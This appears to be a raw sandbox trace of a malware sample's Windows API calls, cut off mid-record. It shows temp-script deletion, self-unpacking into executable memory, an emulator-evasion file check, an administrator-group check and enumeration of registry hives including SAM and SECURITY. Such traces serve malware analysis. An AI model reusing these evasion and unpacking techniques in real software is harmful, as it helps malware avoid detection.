[0162.744] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x46) returned 0x248d00 [0162.744] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x1ceb00 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0162.744] GetProcessHeap () returned 0x230000 [0162.744] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x58) returned 0x24e0e0 [0162.744] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x1cda10 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0162.744] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x1cdcc8, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x1ce520, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x1cdcc8*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0162.744] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0162.744] GetProcessHeap () returned 0x230000 [0162.744] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x58) returned 0x24e140 [0162.745] GetProcessHeap () returned 0x230000 [0162.745] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x260) returned 0x24e1a0 [0162.745] _wcsicmp (_String1="5fiae9.cmd", _String2=".") returned 7 [0162.745] _wcsicmp (_String1="5fiae9.cmd", _String2="..") returned 7 [0162.745] GetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\5fiae9.cmd" (normalized: "c:\\windows\\temp\\5fiae9.cmd")) returned 0x20 [0162.745] GetProcessHeap () returned 0x230000 [0162.745] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x218) returned 0x250e10 [0162.745] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x250e20 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0162.745] SetErrorMode (uMode=0x0) returned 0x0 [0162.745] SetErrorMode (uMode=0x1) returned 0x0 [0162.745] GetFullPathNameW (in: lpFileName="C:\\Windows\\TEMP\\5fiae9.cmd", nBufferLength=0x104, lpBuffer=0x1cda30, lpFilePart=0x1cda20 | out: lpBuffer="C:\\Windows\\TEMP\\5fiae9.cmd", lpFilePart=0x1cda20*="5fiae9.cmd") returned 0x1a [0162.745] SetErrorMode (uMode=0x0) returned 0x1 [0162.745] GetFileAttributesW (lpFileName="C:\\Windows\\TEMP" (normalized: "c:\\windows\\temp")) returned 0x10 [0162.745] GetProcessHeap () returned 0x230000 [0162.745] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x260) returned 0x251030 [0162.745] _wcsicmp (_String1="5fiae9.cmd", _String2=".") returned 7 [0162.745] _wcsicmp (_String1="5fiae9.cmd", _String2="..") returned 7 [0162.745] GetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\5fiae9.cmd" (normalized: "c:\\windows\\temp\\5fiae9.cmd")) returned 0x20 [0162.745] GetProcessHeap () returned 0x230000 [0162.745] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x26) returned 0x2445e0 [0162.745] GetProcessHeap () returned 0x230000 [0162.745] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x246ae0 [0162.745] GetProcessHeap () returned 0x230000 [0162.745] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x246b20 [0162.745] GetProcessHeap () returned 0x230000 [0162.745] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x810) returned 0x2512a0 [0162.746] FindFirstFileExW (in: lpFileName="C:\\Windows\\TEMP\\5fiae9.cmd", fInfoLevelId=0x0, lpFindFileData=0x2512b4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2512b4) returned 0x24e410 [0162.746] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\5fiae9.cmd" (normalized: "c:\\windows\\temp\\5fiae9.cmd")) returned 1 [0162.747] FindNextFileW (in: hFindFile=0x24e410, lpFindFileData=0x2512b4 | out: lpFindFileData=0x2512b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d1b1a30, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x6d1b1a30, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x6d1b1a30, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x79, dwReserved0=0x0, dwReserved1=0x0, cFileName="5fiae9.cmd", cAlternateFileName="")) returned 0 [0162.748] GetLastError () returned 0x12 [0162.748] FindClose (in: hFindFile=0x24e410 | out: hFindFile=0x24e410) returned 1 [0162.748] GetProcessHeap () returned 0x230000 [0162.748] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2512a0 | out: hHeap=0x230000) returned 1 [0162.748] GetProcessHeap () returned 0x230000 [0162.748] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x246b20 | out: hHeap=0x230000) returned 1 [0162.748] GetProcessHeap () returned 0x230000 [0162.748] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2445e0 | out: hHeap=0x230000) returned 1 [0162.748] GetProcessHeap () returned 0x230000 [0162.748] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x246ae0 | out: hHeap=0x230000) returned 1 [0162.748] GetProcessHeap () returned 0x230000 [0162.748] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x251030 | out: hHeap=0x230000) returned 1 [0162.748] GetProcessHeap () returned 0x230000 [0162.748] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x250e10 | out: hHeap=0x230000) returned 1 [0162.748] GetProcessHeap () returned 0x230000 [0162.748] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24e1a0 | out: hHeap=0x230000) returned 1 [0162.748] GetProcessHeap () returned 0x230000 [0162.748] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24e140 | out: hHeap=0x230000) returned 1 [0162.748] GetProcessHeap () returned 0x230000 [0162.748] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24e0e0 | out: hHeap=0x230000) returned 1 [0162.748] GetProcessHeap () returned 0x230000 [0162.748] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x248d00 | out: hHeap=0x230000) returned 1 [0162.748] GetProcessHeap () returned 0x230000 [0162.748] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24e080 | out: hHeap=0x230000) returned 1 [0162.748] GetConsoleTitleW (in: lpConsoleTitle=0x1cefa0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0162.748] GetProcessHeap () returned 0x230000 [0162.748] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x14) returned 0x24da50 [0162.748] GetProcessHeap () returned 0x230000 [0162.748] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1a) returned 0x2445e0 [0162.748] exit (_Code=0) Process: id = "41" image_name = "osmlm8~1.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8~1.exe" page_root = "0x636ad000" os_pid = "0x6fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "40" os_parent_pid = "0x5b8" cmd_line = "C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 512 os_tid = 0x704 [0163.006] GetTimeZoneInformation (in: lpTimeZoneInformation=0x41fc90 | out: lpTimeZoneInformation=0x41fc90) returned 0x2 [0163.019] GetCurrentProcess () returned 0xffffffff [0163.019] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x41fc7c | out: lpExitCode=0x41fc7c*=0x103) returned 1 [0163.019] GetForegroundWindow () returned 0x10058 [0163.019] GetCaretBlinkTime () returned 0x212 [0163.019] GetFileType (hFile=0xf710cd) returned 0x0 [0163.019] GetConsoleProcessList (in: lpdwProcessList=0x41fd3c, dwProcessCount=0x1 | out: lpdwProcessList=0x41fd3c) returned 0x0 [0163.019] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x41fc48 | out: pcyOut=0x41fc48) returned 0x0 [0163.020] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0163.020] GetCommState (in: hFile=0x3b268c, lpDCB=0x41fab0 | out: lpDCB=0x41fab0) returned 0 [0163.020] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x41faac, pmr=0x41fa98, cht=0x353) returned 0 [0163.020] CloseClipboard () returned 0 [0163.020] CoUninitialize () [0163.020] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0163.021] ReleaseMutex (hMutex=0xa0) returned 0 [0163.021] CloseHandle (hObject=0xa0) returned 1 [0163.021] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0163.021] GetCommState (in: hFile=0x3b268c, lpDCB=0x41fab0 | out: lpDCB=0x41fab0) returned 0 [0163.021] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x41faac, pmr=0x41fa98, cht=0x353) returned 0 [0163.021] CloseClipboard () returned 0 [0163.021] CoUninitialize () [0163.021] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0163.021] ReleaseMutex (hMutex=0xa0) returned 0 [0163.021] CloseHandle (hObject=0xa0) returned 1 [0163.021] GetLocalTime (in: lpSystemTime=0x41fd4c | out: lpSystemTime=0x41fd4c*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x17, wSecond=0x24, wMilliseconds=0x1ab)) [0163.021] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x41f7cc | out: ProcedureAddress=0x41f7cc*=0x77011856) returned 0x0 [0163.021] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x150000 [0163.133] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x41f7cc | out: ProcedureAddress=0x41f7cc*=0x77011856) returned 0x0 [0163.133] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x60000 [0163.134] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x41f864 | out: ProcedureAddress=0x41f864*=0x770149d7) returned 0x0 [0163.134] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x41f864 | out: ProcedureAddress=0x41f864*=0x77011222) returned 0x0 [0163.134] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x41f864 | out: ProcedureAddress=0x41f864*=0x77011856) returned 0x0 [0163.135] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x41f864 | out: ProcedureAddress=0x41f864*=0x7701435f) returned 0x0 [0163.135] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0163.135] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0163.135] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0163.135] VirtualProtect (in: lpAddress=0x230000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x41f918 | out: lpflOldProtect=0x41f918*=0x2) returned 1 [0163.137] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x170000 [0163.140] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0163.140] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0163.140] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0163.140] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0163.941] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.954] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x23c0000 [0163.964] RtlAllocateHeap (HeapHandle=0x23c0000, Flags=0x8, Size=0x104) returned 0x23c07d0 [0163.964] RtlAllocateHeap (HeapHandle=0x23c0000, Flags=0x8, Size=0x80) returned 0x23c08e0 [0163.964] RtlAllocateHeap (HeapHandle=0x23c0000, Flags=0x8, Size=0x80) returned 0x23c0968 [0163.964] RtlAllocateHeap (HeapHandle=0x23c0000, Flags=0x8, Size=0x80) returned 0x23c09f0 [0163.964] RtlAllocateHeap (HeapHandle=0x23c0000, Flags=0x8, Size=0x80) returned 0x23c0a78 [0163.964] RtlAllocateHeap (HeapHandle=0x23c0000, Flags=0x8, Size=0x80) returned 0x23c0b00 [0163.964] RtlAllocateHeap (HeapHandle=0x23c0000, Flags=0x8, Size=0x80) returned 0x23c0b88 [0163.964] RtlAllocateHeap (HeapHandle=0x23c0000, Flags=0x8, Size=0x80) returned 0x23c0c10 [0163.964] RtlAllocateHeap (HeapHandle=0x23c0000, Flags=0x8, Size=0x80) returned 0x23c0c98 [0163.964] RtlAllocateHeap (HeapHandle=0x23c0000, Flags=0x8, Size=0x80) returned 0x23c0d20 [0163.964] RtlAllocateHeap (HeapHandle=0x23c0000, Flags=0x8, Size=0x80) returned 0x23c0da8 [0163.964] RtlAllocateHeap (HeapHandle=0x23c0000, Flags=0x8, Size=0x80) returned 0x23c0e30 [0163.964] RtlAllocateHeap (HeapHandle=0x23c0000, Flags=0x8, Size=0x80) returned 0x23c0eb8 [0163.964] RtlAllocateHeap (HeapHandle=0x23c0000, Flags=0x8, Size=0x80) returned 0x23c0f40 [0163.964] RtlAllocateHeap (HeapHandle=0x23c0000, Flags=0x8, Size=0x80) returned 0x23c0fc8 [0163.964] RtlAllocateHeap (HeapHandle=0x23c0000, Flags=0x8, Size=0x80) returned 0x23c1050 [0163.964] RtlAllocateHeap (HeapHandle=0x23c0000, Flags=0x8, Size=0x80) returned 0x23c10d8 [0163.964] RtlAllocateHeap (HeapHandle=0x23c0000, Flags=0x8, Size=0x400) returned 0x23c1160 [0163.964] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x1d0000 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1d07d0 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1d0858 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1d08e0 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x184) returned 0x1d0968 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1d0af8 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1d0b40 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1d0b88 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1d0bd0 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1d0c18 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1d0c60 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1d0ca8 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1d0cf0 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1d0d38 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1d0d80 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1d0dc8 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1d0e10 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1d0e58 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1d0ea0 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1d0ee8 [0163.965] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1d0f30 [0163.965] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x41f460, nSize=0x1000 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8~1.exe")) returned 0x36 [0163.967] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1d0f78 [0163.967] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x2c) returned 0x1db828 [0164.000] GetVersionExW (in: lpVersionInformation=0x41fa80*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x41fa80*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0164.000] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x41fa68 | out: Wow64Process=0x41fa68) returned 1 [0164.000] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x41fa44 | out: TokenHandle=0x41fa44*=0xa0) returned 1 [0164.000] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x41fa40 | out: TokenInformation=0x0, ReturnLength=0x41fa40) returned 0 [0164.000] GetLastError () returned 0x7a [0164.000] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x140) returned 0x1db860 [0164.000] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x1db860, TokenInformationLength=0x118, ReturnLength=0x41fa40 | out: TokenInformation=0x1db860, ReturnLength=0x41fa40) returned 1 [0164.000] AllocateAndInitializeSid (in: pIdentifierAuthority=0x41fa50, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x41fa48 | out: pSid=0x41fa48*=0x7d2ba8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0164.000] EqualSid (pSid1=0x7d2ba8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x1db8c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25))) returned 0 [0164.000] EqualSid (pSid1=0x7d2ba8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x1db8e0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0164.000] EqualSid (pSid1=0x7d2ba8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x1db8ec*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0164.000] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db860) returned 1 [0164.000] NtClose (Handle=0xa0) returned 0x0 [0164.000] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1db860 [0164.002] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1db8a8 [0164.003] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x280) returned 0x1db930 [0164.003] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0164.009] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1db930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0164.010] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0164.010] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbc58 [0164.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1dbc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0164.010] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbca0 [0164.010] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbc58) returned 1 [0164.010] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbca0) returned 1 [0164.010] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.010] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1db930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0164.010] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.010] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbca0 [0164.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1dbca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0164.010] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbc58 [0164.010] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbca0) returned 1 [0164.010] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbc58) returned 1 [0164.010] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.010] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1db930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0164.010] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0164.010] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbc58 [0164.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1dbc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0164.010] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbca0 [0164.010] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbc58) returned 1 [0164.010] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbca0) returned 1 [0164.010] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.011] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1db930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0164.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbca0 [0164.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1dbca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0164.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbc58 [0164.011] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbca0) returned 1 [0164.011] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbc58) returned 1 [0164.011] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbbb8) returned 1 [0164.011] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1db930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0164.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbbb8 [0164.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbc58 [0164.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1dbc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0164.011] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dbca0 [0164.011] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dbc58) returned 1 [0164.011] RtlFreeHeap 